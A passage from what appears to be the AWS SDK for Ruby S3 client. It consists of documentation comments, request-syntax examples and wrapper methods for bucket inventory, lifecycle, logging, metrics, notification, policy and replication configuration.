# @option params [required, String] :bucket
# The name of the bucket where the inventory configuration will be
# stored.
#
# @option params [required, String] :id
# The ID used to identify the inventory configuration.
#
# @option params [required, Types::InventoryConfiguration] :inventory_configuration
# Specifies the inventory configuration.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_inventory_configuration({
# bucket: "BucketName", # required
# id: "InventoryId", # required
# inventory_configuration: { # required
# destination: { # required
# s3_bucket_destination: { # required
# account_id: "AccountId",
# bucket: "BucketName", # required
# format: "CSV", # required, accepts CSV, ORC, Parquet
# prefix: "Prefix",
# encryption: {
# sses3: {
# },
# ssekms: {
# key_id: "SSEKMSKeyId", # required
# },
# },
# },
# },
# is_enabled: false, # required
# filter: {
# prefix: "Prefix", # required
# },
# id: "InventoryId", # required
# included_object_versions: "All", # required, accepts All, Current
# optional_fields: ["Size"], # accepts Size, LastModifiedDate, StorageClass, ETag, IsMultipartUploaded, ReplicationStatus, EncryptionStatus, ObjectLockRetainUntilDate, ObjectLockMode, ObjectLockLegalHoldStatus, IntelligentTieringAccessTier
# schedule: { # required
# frequency: "Daily", # required, accepts Daily, Weekly
# },
# },
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketInventoryConfiguration AWS API Documentation
#
# @overload put_bucket_inventory_configuration(params = {})
# @param [Hash] params ({})
def put_bucket_inventory_configuration(params = {}, options = {})
req = build_request(:put_bucket_inventory_configuration, params)
req.send_request(options)
end
# For an updated version of this API, see
# PutBucketLifecycleConfiguration. This version has been deprecated.
# Existing lifecycle configurations will work. For new lifecycle
# configurations, use the updated API.
#
# Creates a new lifecycle configuration for the bucket or replaces an
# existing lifecycle configuration. For information about lifecycle
# configuration, see [Object Lifecycle Management][1] in the *Amazon
# Simple Storage Service Developer Guide*.
#
# By default, all Amazon S3 resources, including buckets, objects, and
# related subresources (for example, lifecycle configuration and website
# configuration) are private. Only the resource owner, the AWS account
# that created the resource, can access it. The resource owner can
# optionally grant access permissions to others by writing an access
# policy. For this operation, users must get the
# `s3:PutLifecycleConfiguration` permission.
#
# You can also explicitly deny permissions. Explicit denial also
# supersedes any other permissions. If you want to prevent users or
# accounts from removing or deleting objects from your bucket, you must
# deny them permissions for the following actions:
#
# * `s3:DeleteObject`
#
# * `s3:DeleteObjectVersion`
#
# * `s3:PutLifecycleConfiguration`
#
# For more information about permissions, see [Managing Access
# Permissions to your Amazon S3 Resources][2] in the *Amazon Simple
# Storage Service Developer Guide*.
#
# For more examples of transitioning objects to storage classes such as
# STANDARD\_IA or ONEZONE\_IA, see [Examples of Lifecycle
# Configuration][3].
#
# **Related Resources**
#
# * GetBucketLifecycle(Deprecated)
#
# * GetBucketLifecycleConfiguration
#
# *
# * By default, a resource owner—in this case, a bucket owner, which is
# the AWS account that created the bucket—can perform any of the
# operations. A resource owner can also grant others permission to
# perform the operation. For more information, see the following
# topics in the Amazon Simple Storage Service Developer Guide:
#
# * [Specifying Permissions in a Policy][4]
#
# * [Managing Access Permissions to your Amazon S3 Resources][2]
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-lifecycle-mgmt.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/intro-lifecycle-rules.html#lifecycle-configuration-examples
# [4]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html
#
# @option params [required, String] :bucket
#
# @option params [String] :content_md5
#
# @option params [Types::LifecycleConfiguration] :lifecycle_configuration
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_lifecycle({
# bucket: "BucketName", # required
# content_md5: "ContentMD5",
# lifecycle_configuration: {
# rules: [ # required
# {
# expiration: {
# date: Time.now,
# days: 1,
# expired_object_delete_marker: false,
# },
# id: "ID",
# prefix: "Prefix", # required
# status: "Enabled", # required, accepts Enabled, Disabled
# transition: {
# date: Time.now,
# days: 1,
# storage_class: "GLACIER", # accepts GLACIER, STANDARD_IA, ONEZONE_IA, INTELLIGENT_TIERING, DEEP_ARCHIVE
# },
# noncurrent_version_transition: {
# noncurrent_days: 1,
# storage_class: "GLACIER", # accepts GLACIER, STANDARD_IA, ONEZONE_IA, INTELLIGENT_TIERING, DEEP_ARCHIVE
# },
# noncurrent_version_expiration: {
# noncurrent_days: 1,
# },
# abort_incomplete_multipart_upload: {
# days_after_initiation: 1,
# },
# },
# ],
# },
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketLifecycle AWS API Documentation
#
# @overload put_bucket_lifecycle(params = {})
# @param [Hash] params ({})
def put_bucket_lifecycle(params = {}, options = {})
req = build_request(:put_bucket_lifecycle, params)
req.send_request(options)
end
# Creates a new lifecycle configuration for the bucket or replaces an
# existing lifecycle configuration. For information about lifecycle
# configuration, see [Managing Access Permissions to Your Amazon S3
# Resources][1].
#
# <note markdown="1"> Bucket lifecycle configuration now supports specifying a lifecycle
# rule using an object key name prefix, one or more object tags, or a
# combination of both. Accordingly, this section describes the latest
# API. The previous version of the API supported filtering based only on
# an object key name prefix, which is supported for backward
# compatibility. For the related API description, see
# PutBucketLifecycle.
#
# </note>
#
# **Rules**
#
# You specify the lifecycle configuration in your request body. The
# lifecycle configuration is specified as XML consisting of one or more
# rules. Each rule consists of the following:
#
# * Filter identifying a subset of objects to which the rule applies.
# The filter can be based on a key name prefix, object tags, or a
# combination of both.
#
# * Status whether the rule is in effect.
#
# * One or more lifecycle transition and expiration actions that you
# want Amazon S3 to perform on the objects identified by the filter.
# If the state of your bucket is versioning-enabled or
# versioning-suspended, you can have many versions of the same object
# (one current version and zero or more noncurrent versions). Amazon
# S3 provides predefined actions that you can specify for current and
# noncurrent object versions.
#
# For more information, see [Object Lifecycle Management][2] and
# [Lifecycle Configuration Elements][3].
#
# **Permissions**
#
# By default, all Amazon S3 resources are private, including buckets,
# objects, and related subresources (for example, lifecycle
# configuration and website configuration). Only the resource owner
# (that is, the AWS account that created it) can access the resource.
# The resource owner can optionally grant access permissions to others
# by writing an access policy. For this operation, a user must get the
# s3:PutLifecycleConfiguration permission.
#
# You can also explicitly deny permissions. Explicit deny also
# supersedes any other permissions. If you want to block users or
# accounts from removing or deleting objects from your bucket, you must
# deny them permissions for the following actions:
#
# * s3:DeleteObject
#
# * s3:DeleteObjectVersion
#
# * s3:PutLifecycleConfiguration
#
# For more information about permissions, see [Managing Access
# Permissions to Your Amazon S3 Resources][1].
#
# The following are related to `PutBucketLifecycleConfiguration`\:
#
# * [Examples of Lifecycle Configuration][4]
#
# * GetBucketLifecycleConfiguration
#
# * DeleteBucketLifecycle
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-lifecycle-mgmt.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/intro-lifecycle-rules.html
# [4]: https://docs.aws.amazon.com/AmazonS3/latest/dev/lifecycle-configuration-examples.html
#
# @option params [required, String] :bucket
# The name of the bucket for which to set the configuration.
#
# @option params [Types::BucketLifecycleConfiguration] :lifecycle_configuration
# Container for lifecycle rules. You can add as many as 1,000 rules.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: Put bucket lifecycle
#
# # The following example replaces existing lifecycle configuration, if any, on the specified bucket.
#
# resp = client.put_bucket_lifecycle_configuration({
# bucket: "examplebucket",
# lifecycle_configuration: {
# rules: [
# {
# expiration: {
# days: 3650,
# },
# filter: {
# prefix: "documents/",
# },
# id: "TestOnly",
# status: "Enabled",
# transitions: [
# {
# days: 365,
# storage_class: "GLACIER",
# },
# ],
# },
# ],
# },
# })
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_lifecycle_configuration({
# bucket: "BucketName", # required
# lifecycle_configuration: {
# rules: [ # required
# {
# expiration: {
# date: Time.now,
# days: 1,
# expired_object_delete_marker: false,
# },
# id: "ID",
# prefix: "Prefix",
# filter: {
# prefix: "Prefix",
# tag: {
# key: "ObjectKey", # required
# value: "Value", # required
# },
# and: {
# prefix: "Prefix",
# tags: [
# {
# key: "ObjectKey", # required
# value: "Value", # required
# },
# ],
# },
# },
# status: "Enabled", # required, accepts Enabled, Disabled
# transitions: [
# {
# date: Time.now,
# days: 1,
# storage_class: "GLACIER", # accepts GLACIER, STANDARD_IA, ONEZONE_IA, INTELLIGENT_TIERING, DEEP_ARCHIVE
# },
# ],
# noncurrent_version_transitions: [
# {
# noncurrent_days: 1,
# storage_class: "GLACIER", # accepts GLACIER, STANDARD_IA, ONEZONE_IA, INTELLIGENT_TIERING, DEEP_ARCHIVE
# },
# ],
# noncurrent_version_expiration: {
# noncurrent_days: 1,
# },
# abort_incomplete_multipart_upload: {
# days_after_initiation: 1,
# },
# },
# ],
# },
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketLifecycleConfiguration AWS API Documentation
#
# @overload put_bucket_lifecycle_configuration(params = {})
# @param [Hash] params ({})
def put_bucket_lifecycle_configuration(params = {}, options = {})
req = build_request(:put_bucket_lifecycle_configuration, params)
req.send_request(options)
end
# Set the logging parameters for a bucket and to specify permissions for
# who can view and modify the logging parameters. All logs are saved to
# buckets in the same AWS Region as the source bucket. To set the
# logging status of a bucket, you must be the bucket owner.
#
# The bucket owner is automatically granted FULL\_CONTROL to all logs.
# You use the `Grantee` request element to grant access to other people.
# The `Permissions` request element specifies the kind of access the
# grantee has to the logs.
#
# **Grantee Values**
#
# You can specify the person (grantee) to whom you're assigning access
# rights (using request elements) in the following ways:
#
# * By the person's ID:
#
# `<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
# xsi:type="CanonicalUser"><ID><>ID<></ID><DisplayName><>GranteesEmail<></DisplayName>
# </Grantee>`
#
# DisplayName is optional and ignored in the request.
#
# * By Email address:
#
# ` <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
# xsi:type="AmazonCustomerByEmail"><EmailAddress><>[email protected]<></EmailAddress></Grantee>`
#
# The grantee is resolved to the CanonicalUser and, in a response to a
# GET Object acl request, appears as the CanonicalUser.
#
# * By URI:
#
# `<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
# xsi:type="Group"><URI><>http://acs.amazonaws.com/groups/global/AuthenticatedUsers<></URI></Grantee>`
#
# To enable logging, you use LoggingEnabled and its children request
# elements. To disable logging, you use an empty BucketLoggingStatus
# request element:
#
# `<BucketLoggingStatus xmlns="http://doc.s3.amazonaws.com/2006-03-01"
# />`
#
# For more information about server access logging, see [Server Access
# Logging][1].
#
# For more information about creating a bucket, see CreateBucket. For
# more information about returning the logging status of a bucket, see
# GetBucketLogging.
#
# The following operations are related to `PutBucketLogging`\:
#
# * PutObject
#
# * DeleteBucket
#
# * CreateBucket
#
# * GetBucketLogging
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ServerLogs.html
#
# @option params [required, String] :bucket
# The name of the bucket for which to set the logging parameters.
#
# @option params [required, Types::BucketLoggingStatus] :bucket_logging_status
# Container for logging status information.
#
# @option params [String] :content_md5
# The MD5 hash of the `PutBucketLogging` request body.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: Set logging configuration for a bucket
#
# # The following example sets logging policy on a bucket. For the Log Delivery group to deliver logs to the destination
# # bucket, it needs permission for the READ_ACP action which the policy grants.
#
# resp = client.put_bucket_logging({
# bucket: "sourcebucket",
# bucket_logging_status: {
# logging_enabled: {
# target_bucket: "targetbucket",
# target_grants: [
# {
# grantee: {
# type: "Group",
# uri: "http://acs.amazonaws.com/groups/global/AllUsers",
# },
# permission: "READ",
# },
# ],
# target_prefix: "MyBucketLogs/",
# },
# },
# })
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_logging({
# bucket: "BucketName", # required
# bucket_logging_status: { # required
# logging_enabled: {
# target_bucket: "TargetBucket", # required
# target_grants: [
# {
# grantee: {
# display_name: "DisplayName",
# email_address: "EmailAddress",
# id: "ID",
# type: "CanonicalUser", # required, accepts CanonicalUser, AmazonCustomerByEmail, Group
# uri: "URI",
# },
# permission: "FULL_CONTROL", # accepts FULL_CONTROL, READ, WRITE
# },
# ],
# target_prefix: "TargetPrefix", # required
# },
# },
# content_md5: "ContentMD5",
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketLogging AWS API Documentation
#
# @overload put_bucket_logging(params = {})
# @param [Hash] params ({})
def put_bucket_logging(params = {}, options = {})
req = build_request(:put_bucket_logging, params)
req.send_request(options)
end
# Sets a metrics configuration (specified by the metrics configuration
# ID) for the bucket. You can have up to 1,000 metrics configurations
# per bucket. If you're updating an existing metrics configuration,
# note that this is a full replacement of the existing metrics
# configuration. If you don't include the elements you want to keep,
# they are erased.
#
# To use this operation, you must have permissions to perform the
# `s3:PutMetricsConfiguration` action. The bucket owner has this
# permission by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [Permissions
# Related to Bucket Subresource Operations][1] and [Managing Access
# Permissions to Your Amazon S3 Resources][2].
#
# For information about CloudWatch request metrics for Amazon S3, see
# [Monitoring Metrics with Amazon CloudWatch][3].
#
# The following operations are related to
# `PutBucketMetricsConfiguration`\:
#
# * DeleteBucketMetricsConfiguration
#
# * PutBucketMetricsConfiguration
#
# * ListBucketMetricsConfigurations
#
# `GetBucketLifecycle` has the following special error:
#
# * Error code: `TooManyConfigurations`
#
# * Description: You are attempting to create a new configuration but
# have already reached the 1,000-configuration limit.
#
# * HTTP Status Code: HTTP 400 Bad Request
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/cloudwatch-monitoring.html
#
# @option params [required, String] :bucket
# The name of the bucket for which the metrics configuration is set.
#
# @option params [required, String] :id
# The ID used to identify the metrics configuration.
#
# @option params [required, Types::MetricsConfiguration] :metrics_configuration
# Specifies the metrics configuration.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_metrics_configuration({
# bucket: "BucketName", # required
# id: "MetricsId", # required
# metrics_configuration: { # required
# id: "MetricsId", # required
# filter: {
# prefix: "Prefix",
# tag: {
# key: "ObjectKey", # required
# value: "Value", # required
# },
# and: {
# prefix: "Prefix",
# tags: [
# {
# key: "ObjectKey", # required
# value: "Value", # required
# },
# ],
# },
# },
# },
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketMetricsConfiguration AWS API Documentation
#
# @overload put_bucket_metrics_configuration(params = {})
# @param [Hash] params ({})
def put_bucket_metrics_configuration(params = {}, options = {})
req = build_request(:put_bucket_metrics_configuration, params)
req.send_request(options)
end
# No longer used, see the PutBucketNotificationConfiguration operation.
#
# @option params [required, String] :bucket
# The name of the bucket.
#
# @option params [String] :content_md5
# The MD5 hash of the `PutPublicAccessBlock` request body.
#
# @option params [required, Types::NotificationConfigurationDeprecated] :notification_configuration
# The container for the configuration.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_notification({
# bucket: "BucketName", # required
# content_md5: "ContentMD5",
# notification_configuration: { # required
# topic_configuration: {
# id: "NotificationId",
# events: ["s3:ReducedRedundancyLostObject"], # accepts s3:ReducedRedundancyLostObject, s3:ObjectCreated:*, s3:ObjectCreated:Put, s3:ObjectCreated:Post, s3:ObjectCreated:Copy, s3:ObjectCreated:CompleteMultipartUpload, s3:ObjectRemoved:*, s3:ObjectRemoved:Delete, s3:ObjectRemoved:DeleteMarkerCreated, s3:ObjectRestore:*, s3:ObjectRestore:Post, s3:ObjectRestore:Completed, s3:Replication:*, s3:Replication:OperationFailedReplication, s3:Replication:OperationNotTracked, s3:Replication:OperationMissedThreshold, s3:Replication:OperationReplicatedAfterThreshold
# event: "s3:ReducedRedundancyLostObject", # accepts s3:ReducedRedundancyLostObject, s3:ObjectCreated:*, s3:ObjectCreated:Put, s3:ObjectCreated:Post, s3:ObjectCreated:Copy, s3:ObjectCreated:CompleteMultipartUpload, s3:ObjectRemoved:*, s3:ObjectRemoved:Delete, s3:ObjectRemoved:DeleteMarkerCreated, s3:ObjectRestore:*, s3:ObjectRestore:Post, s3:ObjectRestore:Completed, s3:Replication:*, s3:Replication:OperationFailedReplication, s3:Replication:OperationNotTracked, s3:Replication:OperationMissedThreshold, s3:Replication:OperationReplicatedAfterThreshold
# topic: "TopicArn",
# },
# queue_configuration: {
# id: "NotificationId",
# event: "s3:ReducedRedundancyLostObject", # accepts s3:ReducedRedundancyLostObject, s3:ObjectCreated:*, s3:ObjectCreated:Put, s3:ObjectCreated:Post, s3:ObjectCreated:Copy, s3:ObjectCreated:CompleteMultipartUpload, s3:ObjectRemoved:*, s3:ObjectRemoved:Delete, s3:ObjectRemoved:DeleteMarkerCreated, s3:ObjectRestore:*, s3:ObjectRestore:Post, s3:ObjectRestore:Completed, s3:Replication:*, s3:Replication:OperationFailedReplication, s3:Replication:OperationNotTracked, s3:Replication:OperationMissedThreshold, s3:Replication:OperationReplicatedAfterThreshold
# events: ["s3:ReducedRedundancyLostObject"], # accepts s3:ReducedRedundancyLostObject, s3:ObjectCreated:*, s3:ObjectCreated:Put, s3:ObjectCreated:Post, s3:ObjectCreated:Copy, s3:ObjectCreated:CompleteMultipartUpload, s3:ObjectRemoved:*, s3:ObjectRemoved:Delete, s3:ObjectRemoved:DeleteMarkerCreated, s3:ObjectRestore:*, s3:ObjectRestore:Post, s3:ObjectRestore:Completed, s3:Replication:*, s3:Replication:OperationFailedReplication, s3:Replication:OperationNotTracked, s3:Replication:OperationMissedThreshold, s3:Replication:OperationReplicatedAfterThreshold
# queue: "QueueArn",
# },
# cloud_function_configuration: {
# id: "NotificationId",
# event: "s3:ReducedRedundancyLostObject", # accepts s3:ReducedRedundancyLostObject, s3:ObjectCreated:*, s3:ObjectCreated:Put, s3:ObjectCreated:Post, s3:ObjectCreated:Copy, s3:ObjectCreated:CompleteMultipartUpload, s3:ObjectRemoved:*, s3:ObjectRemoved:Delete, s3:ObjectRemoved:DeleteMarkerCreated, s3:ObjectRestore:*, s3:ObjectRestore:Post, s3:ObjectRestore:Completed, s3:Replication:*, s3:Replication:OperationFailedReplication, s3:Replication:OperationNotTracked, s3:Replication:OperationMissedThreshold, s3:Replication:OperationReplicatedAfterThreshold
# events: ["s3:ReducedRedundancyLostObject"], # accepts s3:ReducedRedundancyLostObject, s3:ObjectCreated:*, s3:ObjectCreated:Put, s3:ObjectCreated:Post, s3:ObjectCreated:Copy, s3:ObjectCreated:CompleteMultipartUpload, s3:ObjectRemoved:*, s3:ObjectRemoved:Delete, s3:ObjectRemoved:DeleteMarkerCreated, s3:ObjectRestore:*, s3:ObjectRestore:Post, s3:ObjectRestore:Completed, s3:Replication:*, s3:Replication:OperationFailedReplication, s3:Replication:OperationNotTracked, s3:Replication:OperationMissedThreshold, s3:Replication:OperationReplicatedAfterThreshold
# cloud_function: "CloudFunction",
# invocation_role: "CloudFunctionInvocationRole",
# },
# },
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketNotification AWS API Documentation
#
# @overload put_bucket_notification(params = {})
# @param [Hash] params ({})
def put_bucket_notification(params = {}, options = {})
req = build_request(:put_bucket_notification, params)
req.send_request(options)
end
# Enables notifications of specified events for a bucket. For more
# information about event notifications, see [Configuring Event
# Notifications][1].
#
# Using this API, you can replace an existing notification
# configuration. The configuration is an XML file that defines the event
# types that you want Amazon S3 to publish and the destination where you
# want Amazon S3 to publish an event notification when it detects an
# event of the specified type.
#
# By default, your bucket has no event notifications configured. That
# is, the notification configuration will be an empty
# `NotificationConfiguration`.
#
# `<NotificationConfiguration>`
#
# `</NotificationConfiguration>`
#
# This operation replaces the existing notification configuration with
# the configuration you include in the request body.
#
# After Amazon S3 receives this request, it first verifies that any
# Amazon Simple Notification Service (Amazon SNS) or Amazon Simple Queue
# Service (Amazon SQS) destination exists, and that the bucket owner has
# permission to publish to it by sending a test notification. In the
# case of AWS Lambda destinations, Amazon S3 verifies that the Lambda
# function permissions grant Amazon S3 permission to invoke the function
# from the Amazon S3 bucket. For more information, see [Configuring
# Notifications for Amazon S3 Events][1].
#
# You can disable notifications by adding the empty
# NotificationConfiguration element.
#
# By default, only the bucket owner can configure notifications on a
# bucket. However, bucket owners can use a bucket policy to grant
# permission to other users to set this configuration with
# `s3:PutBucketNotification` permission.
#
# <note markdown="1"> The PUT notification is an atomic operation. For example, suppose your
# notification configuration includes SNS topic, SQS queue, and Lambda
# function configurations. When you send a PUT request with this
# configuration, Amazon S3 sends test messages to your SNS topic. If the
# message fails, the entire PUT operation will fail, and Amazon S3 will
# not add the configuration to your bucket.
#
# </note>
#
# **Responses**
#
# If the configuration in the request body includes only one
# `TopicConfiguration` specifying only the
# `s3:ReducedRedundancyLostObject` event type, the response will also
# include the `x-amz-sns-test-message-id` header containing the message
# ID of the test notification sent to the topic.
#
# The following operation is related to
# `PutBucketNotificationConfiguration`\:
#
# * GetBucketNotificationConfiguration
#
# ^
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/NotificationHowTo.html
#
# @option params [required, String] :bucket
# The name of the bucket.
#
# @option params [required, Types::NotificationConfiguration] :notification_configuration
# A container for specifying the notification configuration of the
# bucket. If this element is empty, notifications are turned off for the
# bucket.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: Set notification configuration for a bucket
#
# # The following example sets notification configuration on a bucket to publish the object created events to an SNS topic.
#
# resp = client.put_bucket_notification_configuration({
# bucket: "examplebucket",
# notification_configuration: {
# topic_configurations: [
# {
# events: [
# "s3:ObjectCreated:*",
# ],
# topic_arn: "arn:aws:sns:us-west-2:123456789012:s3-notification-topic",
# },
# ],
# },
# })
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_notification_configuration({
# bucket: "BucketName", # required
# notification_configuration: { # required
# topic_configurations: [
# {
# id: "NotificationId",
# topic_arn: "TopicArn", # required
# events: ["s3:ReducedRedundancyLostObject"], # required, accepts s3:ReducedRedundancyLostObject, s3:ObjectCreated:*, s3:ObjectCreated:Put, s3:ObjectCreated:Post, s3:ObjectCreated:Copy, s3:ObjectCreated:CompleteMultipartUpload, s3:ObjectRemoved:*, s3:ObjectRemoved:Delete, s3:ObjectRemoved:DeleteMarkerCreated, s3:ObjectRestore:*, s3:ObjectRestore:Post, s3:ObjectRestore:Completed, s3:Replication:*, s3:Replication:OperationFailedReplication, s3:Replication:OperationNotTracked, s3:Replication:OperationMissedThreshold, s3:Replication:OperationReplicatedAfterThreshold
# filter: {
# key: {
# filter_rules: [
# {
# name: "prefix", # accepts prefix, suffix
# value: "FilterRuleValue",
# },
# ],
# },
# },
# },
# ],
# queue_configurations: [
# {
# id: "NotificationId",
# queue_arn: "QueueArn", # required
# events: ["s3:ReducedRedundancyLostObject"], # required, accepts s3:ReducedRedundancyLostObject, s3:ObjectCreated:*, s3:ObjectCreated:Put, s3:ObjectCreated:Post, s3:ObjectCreated:Copy, s3:ObjectCreated:CompleteMultipartUpload, s3:ObjectRemoved:*, s3:ObjectRemoved:Delete, s3:ObjectRemoved:DeleteMarkerCreated, s3:ObjectRestore:*, s3:ObjectRestore:Post, s3:ObjectRestore:Completed, s3:Replication:*, s3:Replication:OperationFailedReplication, s3:Replication:OperationNotTracked, s3:Replication:OperationMissedThreshold, s3:Replication:OperationReplicatedAfterThreshold
# filter: {
# key: {
# filter_rules: [
# {
# name: "prefix", # accepts prefix, suffix
# value: "FilterRuleValue",
# },
# ],
# },
# },
# },
# ],
# lambda_function_configurations: [
# {
# id: "NotificationId",
# lambda_function_arn: "LambdaFunctionArn", # required
# events: ["s3:ReducedRedundancyLostObject"], # required, accepts s3:ReducedRedundancyLostObject, s3:ObjectCreated:*, s3:ObjectCreated:Put, s3:ObjectCreated:Post, s3:ObjectCreated:Copy, s3:ObjectCreated:CompleteMultipartUpload, s3:ObjectRemoved:*, s3:ObjectRemoved:Delete, s3:ObjectRemoved:DeleteMarkerCreated, s3:ObjectRestore:*, s3:ObjectRestore:Post, s3:ObjectRestore:Completed, s3:Replication:*, s3:Replication:OperationFailedReplication, s3:Replication:OperationNotTracked, s3:Replication:OperationMissedThreshold, s3:Replication:OperationReplicatedAfterThreshold
# filter: {
# key: {
# filter_rules: [
# {
# name: "prefix", # accepts prefix, suffix
# value: "FilterRuleValue",
# },
# ],
# },
# },
# },
# ],
# },
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketNotificationConfiguration AWS API Documentation
#
# @overload put_bucket_notification_configuration(params = {})
# @param [Hash] params ({})
def put_bucket_notification_configuration(params = {}, options = {})
req = build_request(:put_bucket_notification_configuration, params)
req.send_request(options)
end
# Applies an Amazon S3 bucket policy to an Amazon S3 bucket. If you are
# using an identity other than the root user of the AWS account that
# owns the bucket, the calling identity must have the `PutBucketPolicy`
# permissions on the specified bucket and belong to the bucket owner's
# account in order to use this operation.
#
# If you don't have `PutBucketPolicy` permissions, Amazon S3 returns a
# `403 Access Denied` error. If you have the correct permissions, but
# you're not using an identity that belongs to the bucket owner's
# account, Amazon S3 returns a `405 Method Not Allowed` error.
#
# As a security precaution, the root user of the AWS account that owns a
# bucket can always use this operation, even if the policy explicitly
# denies the root user the ability to perform this action.
#
# For more information about bucket policies, see [Using Bucket Policies
# and User Policies][1].
#
# The following operations are related to `PutBucketPolicy`\:
#
# * CreateBucket
#
# * DeleteBucket
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-iam-policies.html
#
# @option params [required, String] :bucket
# The name of the bucket.
#
# @option params [String] :content_md5
# The MD5 hash of the request body.
#
# @option params [Boolean] :confirm_remove_self_bucket_access
# Set this parameter to true to confirm that you want to remove your
# permissions to change this bucket policy in the future.
#
# @option params [required, String] :policy
# The bucket policy as a JSON document.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: Set bucket policy
#
# # The following example sets a permission policy on a bucket.
#
# resp = client.put_bucket_policy({
# bucket: "examplebucket",
# policy: "{\"Version\": \"2012-10-17\", \"Statement\": [{ \"Sid\": \"id-1\",\"Effect\": \"Allow\",\"Principal\": {\"AWS\": \"arn:aws:iam::123456789012:root\"}, \"Action\": [ \"s3:PutObject\",\"s3:PutObjectAcl\"], \"Resource\": [\"arn:aws:s3:::acl3/*\" ] } ]}",
# })
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_policy({
# bucket: "BucketName", # required
# content_md5: "ContentMD5",
# confirm_remove_self_bucket_access: false,
# policy: "Policy", # required
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketPolicy AWS API Documentation
#
# @overload put_bucket_policy(params = {})
# @param [Hash] params ({})
def put_bucket_policy(params = {}, options = {})
req = build_request(:put_bucket_policy, params)
req.send_request(options)
end
# Creates a replication configuration or replaces an existing one. For
# more information, see [Replication][1] in the *Amazon S3 Developer
# Guide*.
#
# <note markdown="1"> To perform this operation, the user or role performing the operation
# must have the [iam:PassRole][2] permission.
#
# </note>
#
# Specify the replication configuration in the request body. In the
# replication configuration, you provide the name of the destination
# bucket where you want Amazon S3 to replicate objects, the IAM role
# that Amazon S3 can assume to replicate objects on your behalf, and
# other relevant information.
#
# A replication configuration must include at least one rule, and can
# contain a maximum of 1,000. Each rule identifies a subset of objects
# to replicate by filtering the objects in the source bucket. To choose
# additional subsets of objects to replicate, add a rule for each
# subset. All rules must specify the same destination bucket.
#
# To specify a subset of the objects in the source bucket to apply a
# replication rule to, add the Filter element as a child of the Rule
# element. You can filter objects based on an object key prefix, one or
# more object tags, or both. When you add the Filter element in the
# configuration, you must also add the following elements:
# `DeleteMarkerReplication`, `Status`, and `Priority`.
#
# For information about enabling versioning on a bucket, see [Using
# Versioning][3].
#
# By default, a resource owner, in this case the AWS account that
# created the bucket, can perform this operation. The resource owner can
# also grant others permissions to perform the operation. For more
# information about permissions, see [Specifying Permissions in a
# Policy][4] and [Managing Access Permissions to Your Amazon S3
# Resources][5].
#
# **Handling Replication of Encrypted Objects**
#
# By default, Amazon S3 doesn't replicate objects that are stored at
# rest using server-side encryption with CMKs stored in AWS KMS. To
# replicate AWS KMS-encrypted objects, add the following:
# `SourceSelectionCriteria`, `SseKmsEncryptedObjects`, `Status`,
# `EncryptionConfiguration`, and `ReplicaKmsKeyID`. For information
# about replication configuration, see [Replicating Objects Created with
# SSE Using CMKs stored in AWS KMS][6].
#
# For information on `PutBucketReplication` errors, see
# ReplicationErrorCodeList
#
# The following operations are related to `PutBucketReplication`\:
#
# * GetBucketReplication
#
# * DeleteBucketReplication
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/replication.html
# [2]: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/Versioning.html
# [4]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html
# [5]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [6]: https://docs.aws.amazon.com/AmazonS3/latest/dev/replication-config-for-kms-objects.html
#
# @option params [required, String] :bucket
# The name of the bucket
#
# @option params [String] :content_md5
# The base64-encoded 128-bit MD5 digest of the data. You must use this
